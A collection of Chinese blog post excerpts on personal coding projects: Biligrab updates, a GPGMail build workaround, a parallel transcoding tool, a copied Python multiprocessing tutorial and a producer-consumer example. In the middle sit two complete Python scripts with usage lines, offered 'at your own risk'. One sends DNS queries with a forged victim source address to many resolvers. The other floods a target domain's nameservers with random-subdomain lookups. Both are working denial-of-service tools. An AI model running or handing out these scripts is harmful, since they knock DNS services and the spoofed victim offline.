其他改动没有。
请注意这个API有可能能能且只能解析版权番!
代码下面。
https://github.com/cnbeining/Biligrab
Continue reading
自己跑了一段时间,良好。
如果只有1段,那么不会启动这个功能。
https://github.com/cnbeining/Biligrab
代码下面:
Continue reading
https://github.com/GPGTools/GPGMail
原来免费。和Mail.app整合很好。
现在这个东西收费了。很缺德。
编译很简单:
Xcode啥的都准备好,包括python等一干环境。
git clone 后,make时会出错:
Code Sign error: No code signing identites found: No valid signing identities (i.e. certificate and private key pair) matching the team ID “PKV8ZPD836” were found.
如果不是他故意埋的坑。。。。
解决办法:
在clone来的GPGMail目录运行:
sed -i '' '/CODE_SIGN_IDENTITY = "Developer ID Application";/d' GPGMail_Updater.xcodeproj/project.pbxproj
如http://support.gpgtools.org/discussions/problems/24976-how-to-build-yosemite-branch
所示。
祝各位加密愉快。
Parallel-Transcode:
更新了新的模式加速转码,加入测试模式。
https://github.com/cnbeining/parallel-transcode
Biligrab:
修改模式,这样可以直接获取最高清晰度的Youku。
https://github.com/cnbeining/Biligrab
原来的机器到期了,换一台。
Vultr Seattle。
希望能对大陆友好,速度快点。
In case someone would raise this question:
是的,ffmpeg等已经可以很好的处理多进程。
是的,MPP是处理AVS的很好工具。
但是,对于轻度滤镜,AVS的性能问题会比较突出。
所以我尝试用这个简单的Producer-Consumer模型解决。
https://github.com/cnbeining/parallel-transcode
代码下面,晚上写的,比较脏,别吐槽。 Continue reading
https://github.com/cnbeining/DNSTester
请小心使用哦。
如果使用不当 或造成DNS递归攻击和DNS放大攻击哦。
代码下面:
#!/usr/bin/env python
#coding:utf-8
# Author: Beining --<>
# Purpose: A most easy but powerful DNS tester
# Created: 01/15/2015
import os
import sys
import unittest
import socket
import random
from multiprocessing.dummy import Pool as ThreadPool
from scapy import *
from scapy.all import *
import csv
global DNS_IP_LIST
DNS_IP_LIST = []
global FAKE_IP
FAKE_IP = ''
#----------------------------------------------------------------------
def dns_amp(qname_address):
""""""
dns_ip = random.choice(DNS_IP_LIST)
a = IP(dst=dns_ip,src=FAKE_IP)
b = UDP(dport=53)
c = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0)
c.qd=DNSQR(qname=qname_address,qtype=1,qclass=1)
p = a/b/c
send(p)
#----------------------------------------------------------------------
def main(address, time, length, thread_num, fake_ip):
""""""
domain_list = [''.join(map(lambda xx:(hex(ord(xx))[2:]),os.urandom(int(length)))) + '.' + str(address) for i in range(int(time))]
pool = ThreadPool(int(thread_num))
results = pool.map(dns_amp, domain_list)
#close the pool and wait for the work to finish
pool.close()
pool.join()
#----------------------------------------------------------------------
def read_dns_ip(filename = './nameservers.csv'):
""""""
dns_ip_list = []
with open(filename, 'rb') as f:
reader = csv.reader(f)
for row in reader:
if reader.line_num == 1:
continue
dns_ip_list.append(row[0])
return dns_ip_list
#----------------------------------------------------------------------
if __name__=='__main__':
address = str(sys.argv[1])
time = int(sys.argv[2])
thread_num = int(sys.argv[3])
try:
FAKE_IP = str((sys.argv[4]))
except:
FAKE_IP = socket.getaddrinfo("www." + address, 80, 0, 0, socket.SOL_TCP)[0][4][0]
try:
dns_filename = str((sys.argv[5]))
except:
dns_filename = './nameservers.csv'
try:
length = int(sys.argv[6])
except:
length = random.randint(6, 32)
print('Reading DNS IP list...')
DNS_IP_LIST = read_dns_ip(dns_filename)
print('Start!')
main(address, time, length, thread_num, FAKE_IP)
print('Done!')
这个不是DNS放大攻击,而是攻击DNS根服务器。
风险自担。
使用:
python dnsattack.py moejn.com 5 5 (10)
python dnsattack.py 根域名 查询(攻击)次数 线程数 (生成长度,可不填)
#!/usr/bin/env python
#coding:utf-8
# Author: Beining --<>
# Purpose: A most easy DNS attacker
# Created: 01/15/2015
import os
import sys
import unittest
import socket
from random import randint
from multiprocessing.dummy import Pool as ThreadPool
#----------------------------------------------------------------------
def resolve_ip(address):
""""""
try:
socket.getaddrinfo(address, 80, 0, 0, socket.SOL_TCP)
except:
pass
#----------------------------------------------------------------------
def main(address, time, length, thread_num):
""""""
domain_list = [''.join(map(lambda xx:(hex(ord(xx))[2:]),os.urandom(int(length)))) + '.' + str(address) for i in range(int(time))]
pool = ThreadPool(int(thread_num))
results = pool.map(resolve_ip, domain_list)
#close the pool and wait for the work to finish
pool.close()
pool.join()
#----------------------------------------------------------------------
if __name__=='__main__':
address = str(sys.argv[1])
time = int(sys.argv[2])
thread_num = int(sys.argv[3])
try:
length = int(sys.argv[4])
except:
length = randint(6, 32)
print('Start!')
main(address, time, length, thread_num)
print('Done!')
http://www.liaoxuefeng.com/wiki/001374738125095c955c1e6d8bb493182103fac9270762a000/0013868323401155ceb3db1e2044f80b974b469eb06cb43000
多进程
Unix/Linux操作系统提供了一个
fork()系统调用,它非常特殊。普通的函数调用,调用一次,返回一次,但是fork()调用一次,返回两次,因为操作系统自动把当前进程(称为父进程)复制了一份(称为子进程),然后,分别在父进程和子进程内返回。子进程永远返回
0,而父进程返回子进程的ID。这样做的理由是,一个父进程可以fork出很多子进程,所以,父进程要记下每个子进程的ID,而子进程只需要调用getppid()就可以拿到父进程的ID。Python的
os模块封装了常见的系统调用,其中就包括fork,可以在Python程序中轻松创建子进程:# multiprocessing.py
import os
print 'Process (%s) start...' % os.getpid()
pid = os.fork()
if pid==0:
print 'I am child process (%s) and my parent is %s.' % (os.getpid(), os.getppid())
else:
print 'I (%s) just created a child process (%s).' % (os.getpid(), pid)
运行结果如下:
Process (876) start...
I (876) just created a child process (877).
I am child process (877) and my parent is 876.
由于Windows没有fork调用,上面的代码在Windows上无法运行。由于Mac系统是基于BSD(Unix的一种)内核,所以,在Mac下运行是没有问题的,推荐大家用Mac学Python!
有了fork调用,一个进程在接到新任务时就可以复制出一个子进程来处理新任务,常见的Apache服务器就是由父进程监听端口,每当有新的http请求时,就fork出子进程来处理新的http请求。
multiprocessing
如果你打算编写多进程的服务程序,Unix/Linux无疑是正确的选择。由于Windows没有fork调用,难道在Windows上无法用Python编写多进程的程序?
由于Python是跨平台的,自然也应该提供一个跨平台的多进程支持。multiprocessing模块就是跨平台版本的多进程模块。
multiprocessing模块提供了一个Process类来代表一个进程对象,下面的例子演示了启动一个子进程并等待其结束:
from multiprocessing import Process
import os
# 子进程要执行的代码
def run_proc(name):
print 'Run child process %s (%s)...' % (name, os.getpid())
if __name__=='__main__':
print 'Parent process %s.' % os.getpid()
p = Process(target=run_proc, args=('test',))
print 'Process will start.'
p.start()
p.join()
print 'Process end.'
执行结果如下:
Parent process 928.
Process will start.
Run child process test (929)...
Process end.
创建子进程时,只需要传入一个执行函数和函数的参数,创建一个Process实例,用start()方法启动,这样创建进程比fork()还要简单。
join()方法可以等待子进程结束后再继续往下运行,通常用于进程间的同步。
Pool
如果要启动大量的子进程,可以用进程池的方式批量创建子进程:
from multiprocessing import Pool
import os, time, random
def long_time_task(name):
print 'Run task %s (%s)...' % (name, os.getpid())
start = time.time()
time.sleep(random.random() * 3)
end = time.time()
print 'Task %s runs %0.2f seconds.' % (name, (end - start))
if __name__=='__main__':
print 'Parent process %s.' % os.getpid()
p = Pool()
for i in range(5):
p.apply_async(long_time_task, args=(i,))
print 'Waiting for all subprocesses done...'
p.close()
p.join()
print 'All subprocesses done.'
执行结果如下:
Parent process 669.
Waiting for all subprocesses done...
Run task 0 (671)...
Run task 1 (672)...
Run task 2 (673)...
Run task 3 (674)...
Task 2 runs 0.14 seconds.
Run task 4 (673)...
Task 1 runs 0.27 seconds.
Task 3 runs 0.86 seconds.
Task 0 runs 1.41 seconds.
Task 4 runs 1.91 seconds.
All subprocesses done.
代码解读:
对Pool对象调用join()方法会等待所有子进程执行完毕,调用join()之前必须先调用close(),调用close()之后就不能继续添加新的Process了。
请注意输出的结果,task 0,1,2,3是立刻执行的,而task 4要等待前面某个task完成后才执行,这是因为Pool的默认大小在我的电脑上是4,因此,最多同时执行4个进程。这是Pool有意设计的限制,并不是操作系统的限制。如果改成:
p = Pool(5)
就可以同时跑5个进程。
由于Pool的默认大小是CPU的核数,如果你不幸拥有8核CPU,你要提交至少9个子进程才能看到上面的等待效果。
进程间通信
Process之间肯定是需要通信的,操作系统提供了很多机制来实现进程间的通信。Python的multiprocessing模块包装了底层的机制,提供了Queue、Pipes等多种方式来交换数据。
我们以Queue为例,在父进程中创建两个子进程,一个往Queue里写数据,一个从Queue里读数据:
from multiprocessing import Process, Queue
import os, time, random
# 写数据进程执行的代码:
def write(q):
for value in ['A', 'B', 'C']:
print 'Put %s to queue...' % value
q.put(value)
time.sleep(random.random())
# 读数据进程执行的代码:
def read(q):
while True:
value = q.get(True)
print 'Get %s from queue.' % value
if __name__=='__main__':
# 父进程创建Queue,并传给各个子进程:
q = Queue()
pw = Process(target=write, args=(q,))
pr = Process(target=read, args=(q,))
# 启动子进程pw,写入:
pw.start()
# 启动子进程pr,读取:
pr.start()
# 等待pw结束:
pw.join()
# pr进程里是死循环,无法等待其结束,只能强行终止:
pr.terminate()
运行结果如下:
Put A to queue...
Get A from queue.
Put B to queue...
Get B from queue.
Put C to queue...
Get C from queue.
在Unix/Linux下,multiprocessing模块封装了fork()调用,使我们不需要关注fork()的细节。由于Windows没有fork调用,因此,multiprocessing需要“模拟”出fork的效果,父进程所有Python对象都必须通过pickle序列化再传到子进程去,所有,如果multiprocessing在Windows下调用失败了,要先考虑是不是pickle失败了。
小结
在Unix/Linux下,可以使用fork()调用实现多进程。
要实现跨平台的多进程,可以使用multiprocessing模块。
进程间通信是通过Queue、Pipes等实现的。
一个Python生产者-消费者示例代码:
#coding=utf-8
'''
Created on 2013年11月13日
生产者与消费者python版
@author: dear_shen
'''
import threading
import Queue
import time
condition = threading.Condition() #设置条件变量
class Producter(threading.Thread):
def __init__(self,puc_pool,i):
threading.Thread.__init__(self)
self.puc_pool = puc_pool
self.setName("生产者"+str(i))
def run(self):
while True:
if condition.acquire():
if self.puc_pool.qsize() < 10:
print "%s 开始生产产品 %s" % (self.name,self.puc_pool.qsize()+1)
self.puc_pool.put(self.name+"-"+str(self.puc_pool.qsize()+1))
condition.notify() #唤醒阻塞的线程
else:
print "产品数量多于10个,停止生产,生产者休息!"
condition.wait() #阻塞自己
condition.release()
time.sleep(1)
class Consumer(threading.Thread):
def __init__(self,puc_pool,i):
threading.Thread.__init__(self)
self.puc_pool = puc_pool
self.setName("消费者"+str(i))
def run(self):
while True:
if condition.acquire():
if self.puc_pool.qsize()>0:
tem = self.puc_pool.get()
print "%s 使用了产品 %s,还剩%s个" % (self.name,tem,self.puc_pool.qsize())
self.puc_pool.task_done() #产品队列中减少一个
condition.notify()
else:
print "没有产品了,消费者休息!"
condition.wait()
condition.release()
time.sleep(2)
if __name__ == "__main__":
print "main begin"
puc = Queue.Queue()
for i in range(2):
p = Producter(puc,i)
p.setDaemon(True)
p.start()
time.sleep(5)
for i in range(5):
c = Consumer(puc,i)
c.setDaemon(True)
c.start()
puc.join()#当产品队列为空时候再打印main over,如果注释掉了上面的setDaemon,虽然打印了main over,但是子线程并没有结束。
print "main over"
唯一的问题是不能选服务器。
加入代理功能,以及大量错误处理。程序长度多了2倍。
自取Github。